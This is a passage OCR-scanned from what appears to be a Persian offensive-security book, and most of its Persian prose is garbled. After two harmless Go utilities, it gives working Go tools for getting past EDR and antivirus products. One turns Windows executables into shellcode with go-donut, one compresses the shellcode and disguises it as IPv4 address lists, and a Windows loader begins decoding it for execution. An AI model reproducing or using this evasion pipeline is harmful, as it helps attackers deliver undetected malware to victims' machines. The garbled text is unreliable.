anchor "com.apple/*" all

A0S 2l sa alag) ) a8l (i led Linux 43 e (iAo
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Linux

YU Gsia L1 oS ol al € (b 1 o) Jlad 4S slode a5 2 s iy 0 | iptables V-1 el
ram pladl 1 ) ) se i) S Gl 2 SIS (ol 80 B gl U S |l

.mkdir lfw S alag) 353 S ) padn SQ )
.cd lfw 1us s adg 4 Y
S o ) 5 i€ 5 IRigla () 5o 15 VAT G yeh i€ dlag) 268 4Ble 550 Sl s L1 Ifwgo W LY
A€ a5 a0 )1k go mod init fw L1 253 0555 €
28 ) al ) go mod tidy .©
package main
) import
"fmt"”
"og"
"github.com/vishvananda/netlink”
(
} ()func main
.Check if iptables is supported //
} ()if lislptablesSupported
log.Fatal("iptables is not supported on this system.")
{
.Retrieve and print the iptables rules //
()rules, err := getlptablesRules
}if err 1= nil
log.Fatalf("Error retrieving iptables rules: %v", err)
{
.Printthe rules //

} for _, rule :=range rules
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fmt.Println(rule)

{
{

.islptablesSupported checks if iptables is available //
} func islptablesSupported() bool
Attempt to check if iptables is present //
()err := netlink.LinkList ,_
return err == nil
{
.getlptablesRules retrieves current iptables rules //
} func getlptablesRules() ([Istring, error)
.This method would normally involve using netlink to query rules //
.For demonstration, we'll return a placeholder //
return []string{"Rule1: ACCEPT all", "Rule2: DROP all"}, nil
{
oS sl iptables JVsié sl @ 5 Cunca g Gaila KL V-1 Cu yeb
S ol ) Gy seta ) lfwgo
go run lfw.go $
Rule1: ACCEPT all
Rule2: DROP all
sl al Jia a g 5 Wail 3 5l s 0y 20 Als e
al da D sadigaingle) calda g 5 ca g caail 8 olulid

A lid ) Lad 4n 3 i O 5 05S aal sl 5 ila S e ) (e 8 ) i a8 5 el
(2 g8 a odliiule g 23g3 (5 80 5L o o8 Chniag gy 4S il ) 0K CSS i€ 1 o ) b 4SSl )l

Gl e ALl g 53l Ll Gl il i) daa g e i g alaa) (el B8 ) (labiadl Wiaiuas ) (g
Al

tad aladl 1) 5y 2l e by Wi oS o) 3 S IS (6
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.S Ayl mkdir proc L ass S ) padig So )
s pcdproc b vy ddga ¥
S 0 b 5 i€ (5 IR sla () 2 1) A-T Cans jeh aiS alag) 53 4Be 3 )50 Al 05 L) proc.go Ji8 LY
A€ 4l gl a0 Hlais go mod init proc L)y 2sa e 55 €
28 1 al ) gomod tidy .©
package main
) import
"fmt”
"og"
"runtime”
"github.com/shirou/gopsutil/process”
(
} (func main
} switch runtime.GOOS
:"case "windows
()listProcesses
:"case "darwin
()listProcesses
:"case "linux
()listProcesses

:default

fmt.Println("Unsupported OS")

{
{

} ()func listProcesses

()processes, err := process.Processes
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}if err 1= nil
log.Fatalf("Failed to get processes: %Vv", err)

{
fmt.Printf("Running processes:\n")
} for _, p :=range processes
()name, err := p.Name
}if err 1= nil
continue
{
.Get the user info if available //
()user, err := p.Username
}if err 1= nil
"user ="N/A
NA default if user info is not available; must be an //
.elevated user to pull the username back //
{
fmt.Printf("PID: %d, Name: %s, User: %s\n", p.Pid, name, user)
{
{
ol da 3 eadisaiglay callas 5 cagpm s o il ) (5 jlad 1A-T Ca j
S a) n) Gysada ) proc.go
go run proc.go $
:Running processes
PID: 1, Name: launchd, User: root
PID: 320, Name: logd, User: root
PID: 321, Name: smd, User: root
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PID: 322, Name: UserEventAgent, User: root

PID: 324, Name: fseventsd, User: root

PID: 325, Name: mediaremoted, User: root

PID: 328, Name: systemstats, User: root

PID: 330, Name: accessoryupdaterd, User: _accessoryupdater
—snip--

‘Q\.,\)';meu suojjg}d\)g)\s‘g_'m& JAEMMJ\CA\;LSM@“}cJ&SGAdAIS\)M‘;MuiJMQLc%\Og\
_AAJ@LAJ‘\_.:\);\d\;)dduﬁg\}j‘d\}ﬁﬁjwdﬁg)&ﬁ

Al b oS saldinl 3 pa lad a5 led ) 253 slags il a6 0 Go ) 4Ss 2 S ol cJaab ol
Defender 5 Cortex 2iila (s il sla ) 3l Jass o Caadiay 4S e o liia) LOLBins ) edléiul ) ¢ )8 cpl
il 1) 250 ey e ey (AL 2 5 23S (5 53V sha e (5] ) i on Laod ililee g 6 g n (IR )
doal Ja 3 EDR sl simuas (i (5 s (il glbasd 52,8 Jabid (s s 1y Wadali s () (il s il sic e Lal e
Al BYA 23 a5 a5 il ) aiSe Basali | L Lo 2 (8 b 5 galicnad (glaay b
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s

BYPASSING DETECTION WITH
HYBRID PACKING

S A i b adlS (o) )5 Y

s 4y (ladlie (i Callad et (o) sl By O jlee S i Ja 8 slaad (5SSl S i ) b
Db (i gla b ol 52 48 (g it (Se QB (Sa JUS0 Wm0 5 st Jilat el i
(23 e (leds 23 G ma 3 81 s 3 ol s Sl b la) QB o s L 81 Ll i fige
048 ol S 5 it IS (a8 ial o sgde ol $a 50 o0 ) adidla 5o a8 U ol Jane )y yan o 03 () sicdy
s «packer/ X 3 S shellcode saiSg ! yiiul So—35S 2l sa byl ) ) 4 ek cale vl a0 Jaad o)

A el (el (s 1) O 5 S Gl ) JBI A pa (e JilE S 0 1) a5 JL Bakila (S

Olnsnige B 20 55 e o2lius) (s 5y (5 )aspgre (A8 5 (5 )luiw )8 (5) 5 4S 2L & 5 5-8e sl ) ) WPacker
6 Jmpgre GLCSISS ) ()3 slaPacker .ol b aiase iie 38 43 lag) «ialSisan b «SS» 1) (s sSae
28 slapacker «Ja (ol b 58 e oaldiul S UL (53 )8 (el ) iR din 5T ge Jald ccalisn

el e 02l Landldl il sladael ) daw s Jial 4 Ya Themida s UPX aila

slada 03 )8 5 02 lupgae (e JiE S pa 1) Led b el g ) & Jual 0l 2 4S S S packer ¢l nl
4 IP el o gd S ) i e Db cdiSe a3 1) o 48 lagaile 5 laglad) (ol 28 e Oledy 5L S
sloa) 5 IR b ) asa 4l 5, ke 53 DLL hijacking L o) e cilia GWTTP ) Lo aiw ) 2 gas s
O sy La ) 3l ol eallae Gl Gl Glay D3 el S aaliiwl (gl ka4 (e Ji& S ) akaila )3 shellcode

il 5 IRCuedle @ yia

69 )SJAS: Q\A\J\
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Al 3 g ) b ag )y
r) adadla jo Gendds B e sla b G 3 5 gl () g )l A Jald Jead () S 5 gaiaian (i)
A€« Jias shellcode 4 1) 2! Jlé By )L Ex2Shell

5 Uil (8 (i ey CulilB €2 (5 luagie 503 8 [Pv4 e W <SG 2 ) Encode shellcode
Asdien Jald | (e

2l gi e condl s llee Sy 2) AS e pal adiila 3 o 5 2S5 s Jb IPV4 e U8 ) 1, b Loader
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Figure 7-1: The hybrid packing workflow

xS iy IS i K0y U8

AS g 5 b 1) Ex2Shell «dsh ) dlu sl

Ex2Shell L 43« shellcode 4 o) ya) sladilé s

sladild 5 45 (s adadla 5o )5 Ll 2l (i a8 ealed lilee 6l shellcode 255 ¢ a8 Cllee )0
Gaob )l atila) 2l 8 (815 35 aiile  AACSHSE () .l invaluable S sl b aas s Sy 55 ()
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Windows Portable Executable Ji& <Su s s sabu ) ) S5 cex2shell.go Bl ol Sl
1 dal e G o QalS (o) ) JalS A58 il g ) e shellcode 4—exe. dilé S J=—(PE)
€ Jlsa

.mkdir ex2shell ;258 alag) G Sl () padg So )
.cd ex2shell ;s n v ad g4 ¥

sonad 5 i€ (g )IRisla o 2 1) ex2shell.go i Sl (i€ alag) 354 4Ble 350 Si oy b aaa Jl3 G LY
S

S 4yl a0 )l go mod init ex2shell L1, asa 059 . ¢
xS ) sl 1)) go mod tidy .©
.2 s go build ex2shell.go L 1) (o) dd

) d—al ,3) Donut o535 ) Go Lys S 23S e 0alii il go-donut 4SS 51 Ex2Shell 4wl
4 (dll b exe. did) PE ladilé 48 Gl Cual se jl J8 e 2S 023803 5§ So Donut .(TheWover
6 —pgia )3 (s 8l glacilla 5 (A 50 Clla 1y «x64 x86) s lere (xia ) () 2w iasi shellcode

A e Jlol 2513 a8 (552 & sl gladama a1 al 43 Sl A8 Ge i o sla sl ) 1) O 5 S Sl

Donut st i« sd e |y 535,55 exe. Jilh oK sl 43l JUala Cunl )y glai bad ) ) G ol sieds S
5 Lasfine 35 i e 4 81t gion (2505 BB CSG 3 ), O 5 «aiSa 2l 531 shellcode ¢3S s S 1)
o eaile S il F ) o Ll ey 31 da )80k 5 e asi glae) ) (s ke i€ saliiul Donut

S e g IRl Gase Ol sied 1) ol el AV 5 EDR slaai

a3 e (L)) ex2shell.go JelS Cu Seul V-V G jed
package main
) import
"bytes”
"fmt"”
"io/ioutil”
"os"
github.com/Binject/go-donut/donut" 1"
(

} ()func main

}if len(os.Args) < 3
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fmt.Println("Usage: ex2shell input_exe output_shellcode")

fmt.Println("This program converts a Windows EXE (PE file) to shellcode

(".using the go-donut library

())os.Exit

{

[Y]inputFile := o0s.Args

[Y]outputFile := o0s.Args

.Load the EXE file into memory //

exeBytes, err ;= ioutil.ReadFile(inputFile) 2

}if err 1= nil

fmt.Printf("Error reading EXE file: %v\n", err)
())os.Exit

{

.Create a buffer from the EXE bytes //

exeBuffer := bytes.NewBuffer(exeBytes) 3

Set up the Donut configuration for an EXE. 4 //
()config := donut.DefaultConfig

.config.Type = donut. DONUT_MODULE_EXE // Specify it's an EXE
config.Arch = donut.X84 // AMD64 + x86 (dual mode)
config.Entropy = donut. DONUT_ENTROPY_DEFAULT
.Generate the shellcode from the EXE bytes //
shellcode, err := donut.ShellcodeFromBytes(exeBuffer, config) 5
}if err = nil

fmt.Printf("Error generating shellcode: %v\n", err)
())os.Exit

{
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.Write the shellcode to the output file //

err = ioutil.WriteFile(outputFile, shellcode.Bytes(), 0644) 6
}if err 1= nil

fmt.Printf("Error writing shellcode to file: %v\n", err)
())os.Exit

{

fmt.Printf("Shellcode generated successfully and saved to %s\n", outputFile) 7

fmt.Printf("Shellcode length: %d bytes\n", shellcode.Len())
{

shellcode 4 Windows 2'_a) sladad Jdaadi )=V Ca yed

B Sl 2 sda s 8 K il 5 sald (Ji 1/0 ) GO 2t el aliS o < )5 b aals
<wil shellcode Donut sxi€ad 63 s wrapper Go <% «github.com/Binject/go-donut/donut ¢ L=
Aan )y CDonut e i 3 Sdee RS ) 5 esl GO e (i 54k (2 8 )l ) &S o Binject L)

Culs i S 2 ) w205 EXE JS ioutil.ReadFile(inputFile) cmain gt 2 gle Sl a3 Ga
oMl i Qi S aie jladaila ja ) (s 5 b iag (s yaa) PE Jdd JS o) LY 2l 3« (exeBytes)
ybie g s 5 S e e | Usd oS (28l 4130 Spag gne Alinee b L 4151 25a s Q) ol ) ) s
Iy io.Reader 45 «aan < bytes.Buffer S J2 1) ola slaculs bytes.NewBuffer(exeBytes) «u—

Y, of JUsil ShellcodeFromBytes() Donut gl 48 (s b Jal ) So—ai€ o (5wl

struct donut.Config <o 43l 5 235038 ) 1 ()donut.DefaultConfig b Donut 4 s258a) 6 (sl (s2i S
configType = ¢z a5 G g 5 b (laliul Hagl 5 (g l—wed 8 (500 aiila) Jsiea sl 8000 L
Donut .(DLL <% 43) <o) JEiwse ol sal Qé S5 0 2 S« Donut 42 donut. DONUT_MODULE_EXE

RS al 1) O g5 adal 5 38 e (5 )l adidla 3 ), PE 48 2 S aal sk al g 0l S

S e abaii ) ) (x86 + x64 b & j) 48 g0 il (5 e 4S il config.Arch = donut. X84 «x) 3l L
MSGAUS#Q]Q@LEA}MJGAUM\) Iyl Ou)djuudus@@m;@%ﬁjx@oonut

IR 3e ) 2ila) 4y (5 5—upgre S config.Entropy = donut. DONUT_ENTROPY_DEFAULT «Cules 2
D35 U8 Gl 8 () e GRS L) slalaaa) 5 aiS e Jlee shellcode > 502 50 1 (XOR
o glagiila ) 2) 233 ki DONUT_ENTROPY_HIGH 42 o cslad 1) Jlaie 0l 23 5ipn cmpini 3l iiial

(A1 andis 5 Qliial (o) pa Auhn mbail a4 b Jls ol b

D Al fias o ul (S5 donut.ShellcodeFromBytes(exeBuffer, config) « shellcode s
A 0 S S o sl € e diad 51 3 Ji8 shellcode 4 V) s (ol oa) Jilé ali ) [0 <ol Ex2Shell
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028 8L EXE s X e usd B G865 diile (5 )18 ) gL aid ) 5 02 jlon (Sean | adalls o L (5) a)
123 e aladl |y pa) 0 ) ge A4S 2 e 40335 Donut 4 1)

(uu_utyuk; (&l c\.sh_)&) AS a4l ) ) PE Jlialu e

s stub <o 6l (NASM Gk ) edbia 51 3) 38 e 2 68 Cannd g 31 Jilss uans] @

S a5 jbla 0255 )X 3 o2 558 blob g Ol siear | PE »

e A (Opdile XS slaul) oA shellcode s> bytes.Buffer <.

35 0e 7 A (e () o Sluidy (5 jlena b Liiaali PE Jida) 353 <uwss Donut S @

s A L ) shellcode L ioutil. WriteFile(outputFile, shellcode.Bytes(), 0644) «x=
i ) Unix S gl e 1188 (pald sk T 2S00 4laS (JBa il 2 payload_shell.txt) sadpaiis
U"—‘;)" )g\ LAV J—as Ll jng)‘_;: Windows L 48 ‘(L_S\jt.A LS\)-.’ UE_J}; d.}\ﬁ dad LE\):‘ QJ&\)& d.\\ﬁ) _\ASGA

sl e CJIA 4aqli g ‘(m\_, n S a8 A.'\.'\Lo) 2 Cusl a9 A shellcode

()shellcode.Len Gk ) 1 shellcode Jsb 5 2iSea Gla (a5 e b 2li G oS ally 3390 lilee R
83 e )R 03130 sy s ey 3 () e

T ) alde a5 a b Ol Gloal D G

C:\> ex2shell.exe c:\users\genxw\payloads\payload.exe payload_shell.txt

Shellcode generated successfully and saved to payload_shell.txt

Shellcode length: 432640 bytes

A58 Olel Encode Ul ) ealiid by ) juin o 480l sala gl siedn | O A 03l cshellcode zloaiel b
Encode b 1 = yme pa led b 0 S (ledy

e ati b Jasat () e 58 DB al g 4SS Cusial LaalBiins 5 bl ai s il ¢ 5% EDR slaiw
«PowerShell 2y slagradle OV sdl&iul <HTTP LB:’)‘L' B u—i‘ﬁ\ LgLAd.J\é A}Sjb—b_’i.'\u slagisy J.uSGA Al
o) ) se Jald caiiS o Jlad 1 eldn J s 4y wm—omd:q\:xA\S sl b Jan)

e Sl | a5 gl o Sl 5 ol yal sladid 48 Ly (sla S5 5 e

S e aikai A ) (ol a) () sine b (slaciu 5 4S daal sl )50 0

3 a s IREe | S Suiia slacy Sl 5 ELF sl PE ladils 48 Ll adais culailaa o
Mo stmnn | Jlae e 158 i (sl sal 4S Ay J S

M3 Hladia o ) sl Gladile 4 aS Jib Sa LSy il e

25 e 3 gduse |y 0285 0HalS S sla K1 JlEl 4S (DLP) sala ¢l Cad 3 31 s 58 sla slaius o
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J_'\JLA) ob—delakd P slagw ) gsla e sl ) ol S B L slaclld o) |Pv4 (| SNV
L;L&.L:;\M By _33)564)33)3 J—a u_i\...glcc 03 () siedn (sl &L&J\}\ASGAAG ‘J..\S‘;A d,gd,\ﬁ(\‘\\’,\'\/\,\,\
o ifaniin aSuh (ludiga 1aiius 4a g3 Qi je 5 yaala ladas [P Lol s jed (o sla sl il ¢ e jla
1 D 5253 e g Ol pde 85 e 2l 55 1) (s ndcnd (Sl gl el (slaas (i jla e 485 ) IP apadi

2ol 528w s ,38 | Ex2Shell )l shellcode cencode.go ¢ si ) sa olSila 31 o) 52 4S i S
S e Sld s Gl 0 3 Encode Ul S e s2idiw [Py slage 3l i Toals ch b S
Sl n e 8 ) Gzip J) u) .(shellcode 42 IP ) decode s (»IP 4 shellcode ') encode
5 S e | (el (SadSS () (3 S IS e ealiiul (Uil Culll (IaIS) eadal 6 SWIP dlasd (IalS
GO 2 lulind LA 5 a5 ol o ol 2 doe Jald 1 lela il 3T (51 (ol 305l sacSa

S e ol il 3 (o St il (51 S (5l oA | O Dl 48 (i€ e aaliiud

S el &y et | encode.go
.mkdir encode 28 s G Sl (6 adi S )
.cd encode :us » was adga ¥

o) 5 i€ g )IRisla o 51 ) encode.go iy Sl (S Ayl 3k 4Be 3 )50 Al s b s JESGY
=S

A€ ad ) s Hliie go mod init encode L1 253 855 €
S 1 sl 1) go mod tidy .©
.23k go build encode.go L 1 (2l 2l dié 1
A3 e (L)) encode.go JwlS Cu Sl YoV s jed
package main
) import
"bytes”
"compress/gzip”
"encoding/hex”
"fmt”
"io/ioutil”

net”

n n

0os
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"strconv”

"strings”

(

func main() {1

}if len(os.Args) <4

fmt.Println("Usage: encode encode/decode input_file output_file")
fmt.Println(" encode: Convert binary file to IPv4 addresses")
fmt.Println(" decode: Convert IPv4 addresses back to binary file")

return

{

[Y]mode := 0s.Args

[Y]inputFilePath := 0s.Args
[V]outputFilePath := os.Args

} switch mode

:"case "encode

encodeFile(inputFilePath, outputFilePath)
:"case "decode

decodeFile(inputFilePath, outputFilePath)
:default

fmt.Println("Invalid mode. Use 'encode' or 'decode')

{
{

func encodeFile(inputFilePath, outputFilePath string) { 2
.Step 1: Read the binary file //

data, err :=ioutil.ReadFile(inputFilePath)

}if err I=nil
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fmt.Printin("Error reading file:", err)

return

{

fmt.Printf("Original file size: %d bytes\n", len(data))
Jfmt.Println("Original data (first 32 bytes hex):", hex.EncodeToString(data[:min(32
(([(ten(data)

()pause

.Step 2: Compress the data //

compressedData, err := compressData(data)

}if err 1= nil

fmt.Println("Error compressing data:", err)

return

{

fmt.Printf("Compressed size: %d bytes\n", len(compressedData))
fmt.Println("Compressed data (first 32 bytes hex):", hex.EncodeToString(compressedData
(([:min(32, len(compressedData))]

()pause

Step 3: Obfuscate the compressed data as IPv4 addresses //
obfuscatedData := obfuscateAslIPv4(compressedData)
fmt.Printf("Generated %d IPv4 addresses\n", len(obfuscatedData))
fmt.Println("First few IPv4 addresses:")

} fori, ip := range obfuscatedData[:min(5, len(obfuscatedData))]
fmt.Printf(" %d: %s\n", i+1, ip)

{

()pause

.Step 4: Save the obfuscated data to a file //
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err = saveloFile(obfuscatedData, len(compressedData), outputFilePath)
}if err 1= nil

fmt.Println("Error saving to file:", err)

return

{

fmt.Println("Encoded data saved to:", outputFilePath)

{

func decodeFile(inputFilePath, outputFilePath string) { 3

.Step 1: Read the obfuscated file //

ipAddresses, originalSize, err := loadFromFile(inputFilePath)

}if err 1= nil

fmt.Println("Error reading obfuscated file:", err)

return

{

,"fmt.Printf("Loaded %d IPv4 addresses, original compressed size: %d bytes\n
(len(ipAddresses), originalSize

.Step 2: Convert IPv4 addresses back to binary data //

compressedData, err := deobfuscateFromIPv4(ipAddresses, originalSize)

}if err I=nil

fmt.Printin("Error deobfuscating data:", err)

return

{

fmt.Printf("Deobfuscated compressed size: %d bytes\n", len(compressedData))
fmt.Println("Deobfuscated data (first 32 bytes hex):", hex.EncodeToString(compressedData
(([:min(32, len(compressedData))]

()pause
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.Step 3: Decompress the data //

originalData, err := decompressData(compressedData)

}if err 1= nil

fmt.Printin("Error decompressing data:", err)

return

{

fmt.Printf("Decompressed size: %d bytes\n", len(originalData))
fmt.Println("Decompressed data (first 32 bytes hex):", hex.EncodeToString(originalData
(([:min(32, len(originalData))]

()pause

.Step 4: Save the original data //

err = ioutil.WriteFile(outputFilePath, originalData, 0644)

}if err I=nil

fmt.Println("Error saving decoded file:", err)

return

{

fmt.Println("Decoded data saved to:", outputFilePath)
{

func compressData(data [Jbyte) ([]byte, error) { 4

var buf bytes.Buffer

writer := gzip.NewWriter(&buf)

err := writer.Write(data) ,_
}if err I=nil

return nil, err

{

()err = writer.Close
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}if err 1= nil
return nil, err

{

return buf.Bytes(), nil

{

func decompressData(data []byte) ([]byte, error) {5

reader, err := gzip.NewReader(bytes.NewReader(data))

}if err 1= nil

return nil, err

{

()defer reader.Close

var buf bytes.Buffer

err = buf.ReadFrom(reader) ,_
}if err 1= nil

return nil, err

{

return buf.Bytes(), nil

{

func obfuscateAsl|Pv4(data [Jbyte) [Istring{ 6

var ipAddresses []string

} fori:=0;i<len(data); i +=4

var segment [4]byte

bytesToCopy := min(4, len(data)-i)
copy(segment[:bytesToCopy], data[i:i+bytesToCopy])
()ip := net.IP(segment[:]).String

ipAddresses = append(ipAddresses, ip)
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{

return ipAddresses

{

func deobfuscateFromIPv4(ipAddresses []string, originalSize int) ([]byte, error){7
var result [Jbyte

} for _, ipStr := range ipAddresses

ip := net.ParselP(ipStr)

}ifip == nil

return nil, fmt.Errorf("invalid IP address: %s", ipStr)

{
()ipv4 :=ip.To4

} if ipv4 == nil
return nil, fmt.Errorf("not a valid IPv4 address: %s", ipStr)

{

result = append(result, ipv4...)
{

} if len(result) > originalSize
result = result[:originalSize]

{

return result, nil

{

func saveToFile(ipAddresses []string, originalSize int, filePath string) error{ 8
var content strings.Builder

content.WriteString(fmt.Sprintf("SIZE:%d\n", originalSize))

} for _, ip := range ipAddresses

content.WriteString(ip + "\n")
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{
return ioutil. WriteFile(filePath, [Jbyte(content.String()), 0644)

{

func loadFromFile(filePath string) ([]string, int, error) {9
data, err := ioutil.ReadFile(filePath)

}if err 1= nil

return nil, O, err

{

lines := strings.Split(strings.TrimSpace(string(data)), "\n")
}if len(lines) <1

return nil, 0, fmt.Errorf("file is empty")

{

[+]sizeLine :=lines

} if Istrings.HasPrefix(sizeLine, "SIZE:")

return nil, 0, fmt.Errorf("invalid file format: missing SIZE header")
{

sizeStr := strings.TrimPrefix(sizeLine, "SIZE:")
originalSize, err := strconv.Atoi(sizeStr)

}if err 1= nil

return nil, 0, fmt.Errorf("invalid size format: %v", err)

{

[:V]ipAddresses := lines

return ipAddresses, originalSize, nil

{

} func min(a, b int) int

}ifa<b
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return a

{

return b

{

} (func pause
fmt.Println("Press Enter to continue...")

()fmt.Scanln

{
IPv4 sl o) sicds shellcode )18 ey Y=Y G e

s ailons 431 ) (e i ok (e &1 4ss 4S 23S e 25 ) Cay Sed main @l el gl 5 iy ) Ga
adeall ) siuy cadlond & &) 8 &) s a Jld e 5255 b e ((decode b encode)
()decodeFile L ()encodeFile 4 ills (ulul i switch i So 2 s-Se z s 5 23S 0 Sla | saldiul

e il Uad (S0 el cilla ke s L 23S e Jlu

Olsiear ) ) g3y B JS Y a€ e Cy x| IPV4 sl 4 shellcode ) Ll diasi ()encodeFile &b
sl b ¥Y 5 (L al Qb o3l e caiS e )L ()ioutil.ReadFile (SweS @i ) salii il L iy 4yl )l S
ala je 8 O (Jpause sl sal i S e Gl Jlarwd) Ko QlE 50 15 ((Jmin Ses qli laugi o2 5 5380

Abe (San A i Jgba j0 1) (i lie) 5 alad (la IS

SO C‘-’U O L8 S e salaiul) b Yl EalS (o) Gzip s )lued 58 ) ()CompressData cad o) il 2 ) oy
Iy writer «x—wsi= o @b 1 1) shellcode slaculs (a€ « slal bytes.Buffer <a 5, gzip.Writer
sulod 38 5 3l urs ()encodeFile a2l K oe 1y oadiod 3id GLCHL 5 03 sd 4da o0yl sala a U saiy

S e ol ESe 5l Jd 1 R Gl

adls L € gl il 33 jaea Gen y 38 eala ) T aan e aladl | IP el (2815 Juaii (JobfuscateAsIPv4 cax
£ 5 28w Al segment il £ 41 S 1SS e sl aiSa Al [PV Gl ol 455 8 ) 5 el e
O (230 by € ) i€ RI il 4S8 Cy e (51 M (SaeS ) ol L) 23S e (S 1 sdied 138 00l ) il
3ot (5 e bkl o IRl & ja 4t Sy G Ol sieas | ) 5 S0 daas net P =3 Su 4 ) segment
e 483 8 (asdee Jaa5 "YY VY A,A, " 4y [XTF, 08B, 0x08, 0X00 ] «Jlia (51 s ¢l yiliy) 23S e (s2iallE
IP il ) (i So @l sl g e b caulio il Ll jl Lo g8 03 skt cally iy £ ) AS s 5la
e S BIP (ol A ek S 4y (sam ES 38 e a1 J) IP & 5 2 ()encodeFile s exila S e

4:\_..:5:‘) ‘_i_} U‘J“‘;M \‘) d:\u d\}i;.a A J_..u‘g.}‘sa @‘5‘)5 d:\u B \‘) DJ_A:ALS‘)I_A&(LG_\A 23)2 ()SaveToFile s@}.y 2
B Uﬁ‘ J.\SGA &’"_\.\3 \) oﬁa.ﬁ)ﬁé sala o‘}\d.’a\ < A.\S‘SA &})ﬁ: "SIZE : XXX ;\ﬂﬁ N SIZE o dﬁ \_1 E) cJJLuGA
@\_mg‘)n‘)d)k‘)dmwbd)\ﬁf‘)d}k‘)dudb&u ¢ &Q&Mamu\ ‘)s_..aud‘)s‘):iu);u_u\ BB =)
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A e dad ja 3 P el SOl Om ) G ash 8 sl eal U8 Se ) b () A 51 B asd e
S e il g alay S s s s St (555 | QWS 45 (YioutiLWriteFile

ol G ol siedy 5 Sl ()encodeFile (sSas candly aidls HUAE) Cusl (Sae 4SS shlea ¢()decodeFile @
Ll a2 saliin) decode calls ) auil gica 2y g i ) jal bl jad K1Y Cand sadi a8 ) lcwe
SaS @i Sl AL Al cpl i ea S it Sk fo Gled diile 4 wlia ) So Sl ealil b (s s
()strings.HasPrefix ) odldiwl L) SIZE 3 8 cxil sa o)) LB 4S ¢ 255 g 54 ()loadFromFile
sheal safinn y58 0 1l Lol et | P Ll o jgd 5 i€ e 49335 ()streonv.Atoi b 1 e el cai€ e o e
R P PR L PP S B T- SR L JE R g e

5 S ga I SIS P a4y 8 55,V ASa g Saa |y Suban|P Jiasi (JdeobfuscateFromIPv4 cas
IPv4 b £ Gilad Soan ) el 323 To4() IP e 2w 4 ja3 alld st jliie] 5l ()net.ParselP L 1) o
G 3 s X s aBlal A il 4y s £ ) 5 o(aa 8 0 il LS ydins [PV Gadl RN 28 e dad
O O S Cada )y (5 I8 Je ) sk 3 eaddilial jiea (53 S U 3 e originalSize 4 ) 4 Al (WP sl
Sl s 1l S s Shu b sdls 1 NS e A | Gzip i e bl 53,8 sl (i cililee
S8, Fa GilaiGhy 031 (JdecodeFile ali a1 K e Cad Qb 3 s2iaalis 4S tha CSo ol cally
DAy eaGed y 88 (5355548 1€ 3L ()gzip.NewReader ) s2iiul L), )b decompressData() 5 U
shellcode slaciily 5 vy e il gd e 8 40 (23S Al gzip.Reader «>au .« bytes.Reader
4S 2 o Jals ikl ()defer reader.Close sabia & ) (s 8 sla (g1 aila Ssa 1 o2 i 3K 3
5 e o3 ()decodeFile (i€ 3y ) pu 283 &) Wlad &) s 3580 4iy w2 reader Gzip
e sia o 50n A 0 ) 003 S e shellcode s ¢S e S S e a1 K (ilaiia

S el ) S seats (O il 50) 1 DI

C:\> encode.exe encode payload_shell.txt IPv4.ixt
Pl ) Alie Al Led (a4

Original file size: 432640 bytes
:Original data (first 32 bytes hex)
e880f9050080f90500b5cff0ad05fbb3ebc92c92efa0d5f2a8deb1b67374f6c7
...Press Enter to continue
Compressed size: 407239 bytes
:Compressed data (first 32 bytes hex)
f8b080000000000ffbcc6d38e288001005d6ddbb66ddbb66ddcb56ddbb6
...Press Enter to continue
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Generated 101810 IPv4 addresses
‘First few IPv4 addresses
ALY A, )

v, e, 0y

Y00,V AA N AA (Y

YYV,V€Y,60,)YA ¢

Y, Y09, A o

...Press Enter to continue
Encoded data saved to: IPv4.txt

)\ uq;;_uj)hmb\ﬁ@d_\_u)@dq)q \)u1}mﬁc\);.;m\ Jhdﬁ)\ \J shellcode M}i; Alo a1
slal @L@je)ﬂ&)—q‘;\}w J,).\SJ\JB O EDRJU-“}_),—.‘}L;‘-" claliadl J\UA&.\SLSJ.\J‘C\_N.\ IP L;L%u.u)d‘
DLl G 5 b 6l 3 sl tadia

Loader )l b akidla 53 Jl ) )

G e slaas s 55 Y sere 4S il Windows ! b shellcode o st <o Jaab ol Go 4l G 3
J):\g‘;A \Jcﬁodﬂ}oﬁdj\_‘»wim )L}dﬁ)ﬁ)ﬁ _J}.ﬁns.chulm\ aladls 2 ‘NASJ}LMLAJI_\&\P\ )d&}m
5 e bl Glealge 4S5 2800 GLEI 1) (slgY I 8 S A il L3S e | pa) Sy 5 GBS O 1) O

saita o Jlis 4y (ladlae

L ) e il SO o)) sicds (a A ) pamdy aSh 3 5 5 5 s Bla lacl () sicds U 5 lwagse
Mdsnul&ls Ul.hg\ slaal sla sl ‘_,_NA.US\3445‘5‘.)_).\.4‘_,_\45_\.15:\34_)4&\_)JJ‘J}JGA@_)AMPV4

e ) st G S 3ns 5 M RIS 1) b o) A4S 03 gl e 03 i Gzip b 5 )bupge ) U8 b (5 ol i
A ) ALEK) slasaianand i A ) 2l gie 4S 283

4:\;\_1 u‘ B \) JL) ‘MJ‘EAUA:‘A_AAAS‘\LSIA ‘.ASSGA kﬂi\_ﬂg)aj \J u] 4.3.'15‘_,’_‘0 L5)\—‘”Jb \J JL} )J}j aladla B Lg\);\
b ) Sliial RAM 2 4ad—ai€ a1 al )y o 5 i€ e s )18 aSle | al G o)) giedas | o) e i o adaila
S eSS Hhly adadi 4 slad SIS 5 Bl e (Sl 03 50 4 S 65

rui€ Juia |y sl e ol cloader.go S diwlS )

.mkdir loader ;a8 alayl 353 S (5] padi S )

.cd loader :us » v adpa ¥

A€o Al 5 € IRl ol jo 1) loader.go S «anS syl 352 48e 3 ) ge Sl s L aaa 8 S, Y
i€ 4al ) a3 )35 go mod init loader b1 353 555 .
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xS ) sl 1)) go mod tidy .©
.25k go build loader.go L 1) 2l J&

48l al J i€ s iy cada gl p ) "Idflags="-H=windowsgui- a> j Wil §i s ¢ Al 5 Sl ) a5
23 sd Ja glia | el aKa 2S a SaS a6l 434S (S

go build -ldflags="-H=windowsgui" -o app.exe loader.go
a3 e L)) loader.go JalS Cu Sl Y-V Ca b
package main
) import
"bytes”
"compress/gzip”

”fmt"

n "

net
"os"
"runtime”

"strconv”

"strings”

"syscall”

"unsafe”

(

func main() { 1

.Ensure the program runs only on Windows //
} "if runtime.GOOS != "windows

())os.Exit

{

.Validate command line arguments //

}if len(os.Args) <2
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())os.Exit

{

[Y]inputFilePath := 0s.Args

.Step 1: Read the obfuscated file //

ipAddresses, originalSize, err := loadFromFile(inputFilePath)

}if err 1= nil
())os.Exit
{

.Step 2: Convert IPv4 addresses back to binary data //

compressedData, err := deobfuscateFromIPv4(ipAddresses, originalSize)

}if err 1= nil
())os.Exit
{

.Step 3: Decompress the data //

shellcode, err := decompressData(compressedData)

}if err 1= nil
())os.Exit
{

